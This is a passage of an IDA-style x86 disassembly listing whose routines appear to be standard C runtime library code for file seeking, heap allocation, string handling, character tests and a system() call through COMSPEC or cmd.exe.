		push	[ebp+arg_0]
		call	sub_422EA8
		push	[ebp+arg_0]
		mov	esi, eax
		call	sub_42488E
		add	esp, 14h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_422E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422EA8	proc near		; CODE XREF: sub_422E7C+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_422F24
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_422EC7
		cmp	edi, 1
		jz	short loc_422EC7
		cmp	edi, 2
		jnz	short loc_422F24


loc_422EC7:				; CODE XREF: sub_422EA8+13j
					; sub_422EA8+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_422EDE
		push	esi
		call	sub_422D1B
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_422EDE:				; CODE XREF: sub_422EA8+27j
		push	esi
		call	sub_42671D
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_422EF3
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_422F07
; ---------------------------------------------------------------------------


loc_422EF3:				; CODE XREF: sub_422EA8+42j
		test	al, 1
		jz	short loc_422F07
		test	al, 8
		jz	short loc_422F07
		test	ah, 4
		jnz	short loc_422F07
		mov	dword ptr [esi+18h], 200h


loc_422F07:				; CODE XREF: sub_422EA8+49j
					; sub_422EA8+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_426CFC
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_422F32
; ---------------------------------------------------------------------------


loc_422F24:				; CODE XREF: sub_422EA8+Bj
					; sub_422EA8+1Dj
		call	sub_426528
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_422F32:				; CODE XREF: sub_422EA8+7Aj
		pop	edi
		pop	esi
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F35	proc near		; CODE XREF: sub_422F66+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		call	sub_426F44
		mov	esi, eax
		test	esi, esi
		jnz	short loc_422F43
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422F43:				; CODE XREF: sub_422F35+Aj
		push	edi
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_426DD4
		push	esi
		mov	edi, eax
		call	sub_42488E
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_422F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F66	proc near		; CODE XREF: sub_40274D+31p
					; sub_416C0B+C2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_422F35
		add	esp, 0Ch
		retn
sub_422F66	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F79	proc near		; CODE XREF: sub_4028DA+Ap
					; sub_402914+12p ...

arg_0		= dword	ptr  4

		push	dword_6313F8
		push	[esp+4+arg_0]
		call	sub_422F8B
		pop	ecx
		pop	ecx
		retn
sub_422F79	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F8B	proc near		; CODE XREF: sub_422F79+Ap
					; sub_423F55+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_422FB4


loc_422F92:				; CODE XREF: sub_422F8B+27j
		push	[esp+arg_0]
		call	sub_422FB7
		test	eax, eax
		pop	ecx
		jnz	short locret_422FB6
		cmp	[esp+arg_4], eax
		jz	short locret_422FB6
		push	[esp+arg_0]
		call	sub_42700C
		test	eax, eax
		pop	ecx
		jnz	short loc_422F92


loc_422FB4:				; CODE XREF: sub_422F8B+5j
		xor	eax, eax

locret_422FB6:				; CODE XREF: sub_422F8B+13j
					; sub_422F8B+19j
		retn
sub_422F8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FB7	proc near		; CODE XREF: sub_422F8B+Bp

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00423027 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 00423086 SIZE 0000002D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F3A8
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_6319C0
		cmp	eax, 3
		jnz	short loc_423027
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_6319B8
		ja	loc_423086
		push	9
		call	sub_428436
		pop	ecx
		and	[ebp+var_4], 0
		push	esi
		call	sub_427595
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42301E
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_423086
		jmp	loc_4230A4
sub_422FB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42301E	proc near		; CODE XREF: sub_422FB7+56p
					; DATA XREF: .text:0042F3B0o
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_42301E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422FB7


loc_423027:				; CODE XREF: sub_422FB7+2Bj
		cmp	eax, 2
		jnz	short loc_423086
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_42303B
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_42303E
; ---------------------------------------------------------------------------


loc_42303B:				; CODE XREF: sub_422FB7+7Aj
		push	10h
		pop	esi


loc_42303E:				; CODE XREF: sub_422FB7+82j
		mov	[ebp+arg_0], esi
		cmp	esi, dword_44BA9C
		ja	short loc_423077
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], 1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_428038
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42307D
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4230A4


loc_423077:				; CODE XREF: sub_422FB7+90j
		push	esi
		jmp	short loc_423096
; END OF FUNCTION CHUNK	FOR sub_422FB7

; =============== S U B	R O U T	I N E =======================================



sub_42307A	proc near		; DATA XREF: .text:0042F3BCo
		mov	esi, [ebp+8]
sub_42307A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42307D	proc near		; CODE XREF: sub_422FB7+B4p
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_42307D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422FB7


loc_423086:				; CODE XREF: sub_422FB7+36j
					; sub_422FB7+60j ...
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423090
		push	1
		pop	eax


loc_423090:				; CODE XREF: sub_422FB7+D4j
		add	eax, 0Fh
		and	al, 0F0h
		push	eax


loc_423096:				; CODE XREF: sub_422FB7+C1j
		push	0
		push	dword_6319BC
		call	dword_42F1EC	; RtlAllocateHeap


loc_4230A4:				; CODE XREF: sub_422FB7+62j
					; sub_422FB7+BEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_422FB7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230B3	proc near		; CODE XREF: sub_402969+Ap
					; sub_402982+73p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00423126 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0042317E SIZE 0000001E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F3C0
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_42318D
		mov	eax, dword_6319C0
		cmp	eax, 3
		jnz	short loc_423126
		push	9
		call	sub_428436
		pop	ecx
		and	[ebp+var_4], 0
		push	esi
		call	sub_427241
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_42310E
		push	esi
		push	eax
		call	sub_42726C
		pop	ecx
		pop	ecx


loc_42310E:				; CODE XREF: sub_4230B3+50j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42311D
		cmp	[ebp+var_1C], 0
		jmp	short loc_42316E
sub_4230B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42311D	proc near		; CODE XREF: sub_4230B3+5Fp
					; DATA XREF: .text:0042F3C8o
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_42311D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230B3


loc_423126:				; CODE XREF: sub_4230B3+36j
		cmp	eax, 2
		jnz	short loc_42317E
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], 1
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	sub_427F9C
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	short loc_423161
		push	eax
		push	[ebp+var_20]
		push	[ebp+var_28]
		call	sub_427FF3
		add	esp, 0Ch


loc_423161:				; CODE XREF: sub_4230B3+9Dj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_423175
		cmp	[ebp+var_24], 0


loc_42316E:				; CODE XREF: sub_4230B3+68j
		jnz	short loc_42318D
		push	[ebp+arg_0]
		jmp	short loc_42317F
; END OF FUNCTION CHUNK	FOR sub_4230B3

; =============== S U B	R O U T	I N E =======================================



sub_423175	proc near		; CODE XREF: sub_4230B3+B2p
					; DATA XREF: .text:0042F3D4o
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_423175	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230B3


loc_42317E:				; CODE XREF: sub_4230B3+76j
		push	esi


loc_42317F:				; CODE XREF: sub_4230B3+C0j
		push	0
		push	dword_6319BC
		call	dword_42F1F0	; RtlFreeHeap


loc_42318D:				; CODE XREF: sub_4230B3+28j
					; sub_4230B3:loc_42316Ej
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4230B3

; =============== S U B	R O U T	I N E =======================================



sub_42319C	proc near		; CODE XREF: sub_42321A+4p

arg_0		= dword	ptr  4

		push	esi
		call	sub_4285A0
		push	dword_63199C
		call	sub_4288FB
		mov	edx, dword_63199C
		pop	ecx
		mov	ecx, dword_631998
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		jnb	short loc_423202
		push	edx
		call	sub_4288FB
		add	eax, 10h
		push	eax
		push	dword_63199C
		call	sub_4285CC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4231E5
		xor	esi, esi
		jmp	short loc_423211
; ---------------------------------------------------------------------------


loc_4231E5:				; CODE XREF: sub_42319C+43j
		mov	ecx, dword_631998
		sub	ecx, dword_63199C
		mov	dword_63199C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_631998, ecx


loc_423202:				; CODE XREF: sub_42319C+27j
		mov	eax, [esp+4+arg_0]
		mov	[ecx], eax
		add	dword_631998, 4
		mov	esi, eax


loc_423211:				; CODE XREF: sub_42319C+47j
		call	sub_4285A9
		mov	eax, esi
		pop	esi
		retn
sub_42319C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42321A	proc near		; CODE XREF: .text:00403238p
					; .text:00412058p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_42319C
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_42321A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42322C	proc near		; DATA XREF: .text:00432020o
		push	80h
		call	sub_422F79
		test	eax, eax
		pop	ecx
		mov	dword_63199C, eax
		jnz	short loc_42324D
		push	18h
		call	sub_424FCB
		mov	eax, dword_63199C
		pop	ecx


loc_42324D:				; CODE XREF: sub_42322C+12j
		and	dword ptr [eax], 0
		mov	eax, dword_63199C
		mov	dword_631998, eax
		retn
sub_42322C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423260	proc near		; CODE XREF: sub_423B24+28p
					; sub_423B61+34p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_4232D1
sub_423260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423270	proc near		; CODE XREF: sub_4032AA+Cp
					; sub_403B2C+3B6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_42328C


loc_42327D:				; CODE XREF: sub_423270+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_4232BF
		test	ecx, 3
		jnz	short loc_42327D


loc_42328C:				; CODE XREF: sub_423270+Bj
					; sub_423270+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_42328C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_4232CE
		test	ah, ah
		jz	short loc_4232C9
		test	eax, 0FF0000h
		jz	short loc_4232C4
		test	eax, 0FF000000h
		jz	short loc_4232BF
		jmp	short loc_42328C
; ---------------------------------------------------------------------------


loc_4232BF:				; CODE XREF: sub_423270+12j
					; sub_423270+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_4232D1
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_423270+44j
		lea	edi, [ecx-2]
		jmp	short loc_4232D1
; ---------------------------------------------------------------------------


loc_4232C9:				; CODE XREF: sub_423270+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_4232D1
; ---------------------------------------------------------------------------


loc_4232CE:				; CODE XREF: sub_423270+39j
		lea	edi, [ecx-4]


loc_4232D1:				; CODE XREF: sub_423260+5j
					; sub_423270+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4232F6


loc_4232DD:				; CODE XREF: sub_423270+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_423348
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_4232DD
		jmp	short loc_4232F6
; ---------------------------------------------------------------------------


loc_4232F1:				; CODE XREF: sub_423270+9Ej
					; sub_423270+B8j
		mov	[edi], edx
		add	edi, 4


loc_4232F6:				; CODE XREF: sub_423270+6Bj
					; sub_423270+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4232F1
		test	dl, dl
		jz	short loc_423348
		test	dh, dh
		jz	short loc_42333F
		test	edx, 0FF0000h
		jz	short loc_423332
		test	edx, 0FF000000h
		jz	short loc_42332A
		jmp	short loc_4232F1
; ---------------------------------------------------------------------------


loc_42332A:				; CODE XREF: sub_423270+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_423332:				; CODE XREF: sub_423270+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42333F:				; CODE XREF: sub_423270+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_423348:				; CODE XREF: sub_423270+72j
					; sub_423270+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_423270	endp


; =============== S U B	R O U T	I N E =======================================



sub_423350	proc near		; CODE XREF: sub_403625+1AFp

arg_0		= dword	ptr  4

		cmp	dword_449A44, 1
		jle	short loc_423367
		push	4
		push	[esp+4+arg_0]
		call	sub_42653A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_423367:				; CODE XREF: sub_423350+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_449838
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_423350	endp


; =============== S U B	R O U T	I N E =======================================



sub_423378	proc near		; CODE XREF: sub_425A04+76p
					; sub_425A04+88p ...

arg_0		= dword	ptr  4

		cmp	dword_449A44, 1
		jle	short loc_42338F
		push	8
		push	[esp+4+arg_0]
		call	sub_42653A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42338F:				; CODE XREF: sub_423378+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_449838
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_423378	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4233B0


loc_4233A0:				; CODE XREF: sub_4233B0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4233B0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4233B0	proc near		; CODE XREF: sub_403625+113p
					; sub_403625+124p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004233A0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_4233B6:				; CODE XREF: sub_4235C0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4233DB


loc_4233C8:				; CODE XREF: sub_4233B0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4233A0
		test	cl, cl
		jz	short loc_423424
		test	edx, 3
		jnz	short loc_4233C8


loc_4233DB:				; CODE XREF: sub_4233B0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4233E6:				; CODE XREF: sub_4233B0+61j
					; sub_4233B0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_423428
		and	eax, 81010100h
		jz	short loc_4233E6
		and	eax, 1010100h
		jnz	short loc_423422
		and	esi, 80000000h
		jnz	short loc_4233E6


loc_423422:				; CODE XREF: sub_4233B0+68j
					; sub_4233B0+81j ...
		pop	esi
		pop	edi


loc_423424:				; CODE XREF: sub_4233B0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423428:				; CODE XREF: sub_4233B0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_423465
		test	al, al
		jz	short loc_423422
		cmp	ah, bl
		jz	short loc_42345E
		test	ah, ah
		jz	short loc_423422
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_423457
		test	al, al
		jz	short loc_423422
		cmp	ah, bl
		jz	short loc_423450
		test	ah, ah
		jz	short loc_423422
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_423450:				; CODE XREF: sub_4233B0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423457:				; CODE XREF: sub_4233B0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42345E:				; CODE XREF: sub_4233B0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423465:				; CODE XREF: sub_4233B0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4233B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42346C	proc near		; CODE XREF: sub_4284AC+9p
					; sub_428A39+21p
					; DATA XREF: ...
		call	sub_423484
		call	sub_428A39
		mov	dword_6313CC, eax
		call	sub_4289E9
		fnclex
		retn
sub_42346C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_423484	proc near		; CODE XREF: sub_42346Cp
		mov	eax, offset sub_428E12
		mov	off_44BB64, offset sub_428ABC
		mov	off_44BB60, eax
		mov	off_44BB68, offset sub_428B22
		mov	off_44BB6C, offset sub_428A62
		mov	off_44BB70, offset sub_428B0A
		mov	off_44BB74, eax
		retn
sub_423484	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234BC	proc near		; CODE XREF: sub_403625+34p
					; sub_403625+A5p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4234BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234F0	proc near		; CODE XREF: sub_403B2C+45BEp
					; sub_403B2C+45E3p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_423511
		xor	eax, eax
		jmp	short loc_423513
; ---------------------------------------------------------------------------


loc_423511:				; CODE XREF: sub_4234F0+1Bj
		mov	eax, edi


loc_423513:				; CODE XREF: sub_4234F0+1Fj
		cld
		pop	edi
		leave
		retn
sub_4234F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423517	proc near		; CODE XREF: sub_403B2C+3B44p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	offset aComspec	; "COMSPEC"
		call	sub_429187
		pop	ecx
		xor	esi, esi
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		cmp	ecx, esi
		jnz	short loc_42354E
		cmp	eax, esi
		jnz	short loc_42353E
		xor	eax, eax
		jmp	short loc_4235B5
; ---------------------------------------------------------------------------


loc_42353E:				; CODE XREF: sub_423517+21j
		push	esi
		push	eax
		call	sub_424450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4235B5
; ---------------------------------------------------------------------------


loc_42354E:				; CODE XREF: sub_423517+1Dj
		cmp	eax, esi
		mov	[ebp+var_C], offset dword_42F3E4
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], esi
		jz	short loc_42358D
		lea	ecx, [ebp+var_10]
		push	esi
		push	ecx
		push	eax
		push	esi
		call	sub_428FED
		mov	edi, eax
		add	esp, 10h
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_423589
		call	sub_426528
		cmp	dword ptr [eax], 2
		jz	short loc_42358D
		call	sub_426528
		cmp	dword ptr [eax], 0Dh
		jz	short loc_42358D


loc_423589:				; CODE XREF: sub_423517+5Cj
		mov	eax, edi
		jmp	short loc_4235B5
; ---------------------------------------------------------------------------


loc_42358D:				; CODE XREF: sub_423517+46j
					; sub_423517+66j ...
		test	byte_63146D, 80h
		mov	[ebp+var_10], offset dword_42F3D8
		jnz	short loc_4235A4
		mov	[ebp+var_10], offset aCmd_exe ;	"cmd.exe"


loc_4235A4:				; CODE XREF: sub_423517+84j
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		push	[ebp+var_10]
		push	esi
		call	sub_428E88
		add	esp, 10h


loc_4235B5:				; CODE XREF: sub_423517+25j
					; sub_423517+35j ...
		pop	edi
		pop	esi
		leave
		retn
sub_423517	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4235C0	proc near		; CODE XREF: sub_403B2C+E1Fp
					; sub_403B2C:loc_408766p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_42363A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_423627


loc_4235D8:				; CODE XREF: sub_4235C0+52j
					; sub_4235C0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4235FA
		test	al, al
		jz	short loc_4235F4


loc_4235E9:				; CODE XREF: sub_4235C0+32j
		mov	al, [esi]
		inc	esi


loc_4235EC:				; CODE XREF: sub_4235C0+3Fj
		cmp	al, dl
		jz	short loc_4235FA
		test	al, al
		jnz	short loc_4235E9


loc_4235F4:				; CODE XREF: sub_4235C0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4235FA:				; CODE XREF: sub_4235C0+23j
					; sub_4235C0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4235EC
		lea	edi, [esi-1]


loc_423604:				; CODE XREF: sub_4235C0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_423633
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4235D8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_423633
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_423604
		jmp	short loc_4235D8
; ---------------------------------------------------------------------------


loc_423627:				; CODE XREF: sub_4235C0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_4233B6
; ---------------------------------------------------------------------------


loc_423633:				; CODE XREF: sub_4235C0+49j
					; sub_4235C0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42363A:				; CODE XREF: sub_4235C0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4235C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423640	proc near		; CODE XREF: sub_40D6A6+20p
					; sub_40FBDB+20p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_42512C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_42367E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_42368B
; ---------------------------------------------------------------------------


loc_42367E:				; CODE XREF: sub_423640+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_425014
		pop	ecx
		pop	ecx


loc_42368B:				; CODE XREF: sub_423640+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_423640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423690	proc near		; CODE XREF: sub_42962E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_423690	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

